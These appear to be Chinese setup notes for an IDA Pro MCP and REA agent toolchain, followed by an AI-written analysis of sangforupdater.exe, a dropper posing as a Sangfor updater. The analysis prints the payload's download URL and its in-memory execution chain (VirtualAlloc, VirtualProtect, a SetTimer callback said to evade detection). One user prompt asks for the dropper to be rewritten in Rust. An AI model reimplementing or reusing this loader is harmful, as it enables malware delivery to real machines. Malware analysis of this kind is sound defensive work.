REA 定义

- REA : Reverse Engineer Anything

Understand how software works. Rebuild the feature you need.
理解软件如何工作。重建你需要的功能。

逆向环境

- node 26.13
- python 3.14
- ida-pro 9.5
- workbuddy 5.9.3
- ida-pro-mcp：https://github.com/mrexodia/ida-pro-mcp.git
- REA agent： https://github.com/morluto/rea

安装MCP

- workbuddy提示词：D:\REA\ida-pro-mcp-main.zip , 安装idalib-mcp 并验证可用性

结果

`idalib-mcp` 已安装好并通过真实反编译验证。

安装位置

- 虚拟环境：`D:\REA\idalib-mcp-venv`。它独立于系统 Python，不会污染全局环境。
- 源码：`D:\REA\ida-pro-mcp-main`，以 `pip install -e .` 可编辑方式安装。
- 入口：`D:\REA\idalib-mcp-venv\Scripts\idalib-mcp.exe`。

关键点：`idapro` 包不能用 PyPI 上的通用版本，必须安装 IDA 安装目录里那个本地 wheel，也就是 `C:\Program Files\IDA Professional 9.5\idalib\python\idapro-0.0.11-py3-none-any.whl`；否则它会找不到本机 IDA 内核。你的 idalib 之前已经激活过，`ida-config.json` 也指向了正确目录。

验证结果：用仓库自带的 `crackme03.elf` 做真实样本。

检查项	结果
MCP 握手	通过，协议 2025-06-18
工具注册	66 个工具
Hex-Rays 反编译	通过，拿到 `verify_password` 的完整 C 伪代码
交叉引用	通过，`main` 在 0x12d3 处调用
写操作（重命名）	通过，并验证了持久化
`idb_save`	通过，生成 148KB 的 `.i64`
`analyze_function`、`survey_binary`	通过，识别 28 个函数、17 个字符串

安装REA agent 代理

- 官网：https://reatool.dev
- github： https://github.com/morluto/rea
- workbuddy提示词： 使用npx rea-agents@latest setup安装REA , 并连接到这个编程助手，当前环境安装了idalib-mcp, 安装时启用idalib引擎，验证安装结果
- 重启workbuddy 连接器 信任开启 REA mcp



REA 使用

- workbuddy提示词：使用 REA 分析 D:\REA\watchdog\sangforupdater.exe
- workbuddy提示词：根据 REA 的逆向分析，使用rust语言重写一个sangforupdater.exe ,生成后的文件保存在D:\REA\watchdog\rust 目录下

结论：植入型文件下载器（dropper / stager）

`sangforupdater.exe` 不是更新程序，而是一个**下载并执行远程载荷**的投放器。它伪装成深信服（Sangfor）的更新组件，程序里只有注册表、计划任务、服务等持久化操作一**条都没有**。

- SHA-256：`68da9494aa52f367a8e47b291357e09c721b9b06b2910dff944705290f9693c9`
- 大小：8,517,120 字节（PE32+ x64，GUI 子系统）
- 语言：Go 1.26.4，`-ldflags="-H windowsgui"`，CGO 启用，模块路径为 `command-line-arguments`（源码已剥离）
- **无数字签名**（安全目录为空），**PE 时间戳为 0**（刻意抹除编译时间）

执行链（已完整还原）

plaintext

```
main.main
  └ isProgramRunning()        ← 单实例检测
      └ 5 秒后 time.AfterFunc(off_1403322F8)  →  0x14022c620
          └ main.main.func1
              ├ downloadPayload("https://app.zhuyan.cloud/v5/dl/cmd/sangfor.bin")
              │    ├ GET，Client.Timeout = 30s
              │    ├ UA 伪装 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
              │    ├ 校验 HTTP 200
              │    ├ io.ReadAll 取全部字节
              │    └ crypto/sha256.Sum256（仅计算，不校验！）
              └ executePayload(buf)
                   ├ VirtualAlloc(0, len, MEM_COMMIT|MEM_RESERVE=0x3000, PAGE_READWRITE=4)
                   ├ memmove   ← 直接把下载内容拷进去
                   ├ VirtualProtect(dst, len, PAGE_EXECUTE_READ=0x20)
                   ├ SetTimer(0, 0, addr, 0)   ← 关键：借 timer 回调执行
                   └ GetMessageA / TranslateMessage / DispatchMessageA 消息循环
```

这个 SetTimer 回调再配合消息循环的手法尤其值得注意：它不调用 CreateThread，也不走 CreateProcess，因此能绕过



两个技术细节补充

- 节表有 16 个节，其中 9 个节名被抹成 `/4`、`/19`、`/32`、`/65` 等（实际是 `.debug_*` 与 `go.buildinfo`）。但 **`.symtab` 保留了 445KB 完整符号**，所以 `main.downloadPayload`、`main.executePayload` 这些函数名才能直接读出来。这也说明作者只做了粗粒度处理，并没有真正抗逆向。
- 导入表只有 kernel32 的 48 个函数（含 `LoadLibraryExW`、`GetProcAddress`），其余全部动态解析，是 Go 静态链接 + 运行时按需加载的典型结果。

建议

这个文件**不要运行**。如果它在你的机器上已经执行过：

1. 检查是否有 `sangforupdater.exe` 进程和同名文件的自启动项
2. 隔离该目录，保留样本用于取证
3. 该样本的网络行为只有一个目标域名，可在 DNS/防火墙侧阻断 `app.zhuyan.cloud` 并回溯历史解析记录
4. 真正的风险在于它已下载的 `sangfor.bin`，需要通过流量日志确认是否曾经拉取成功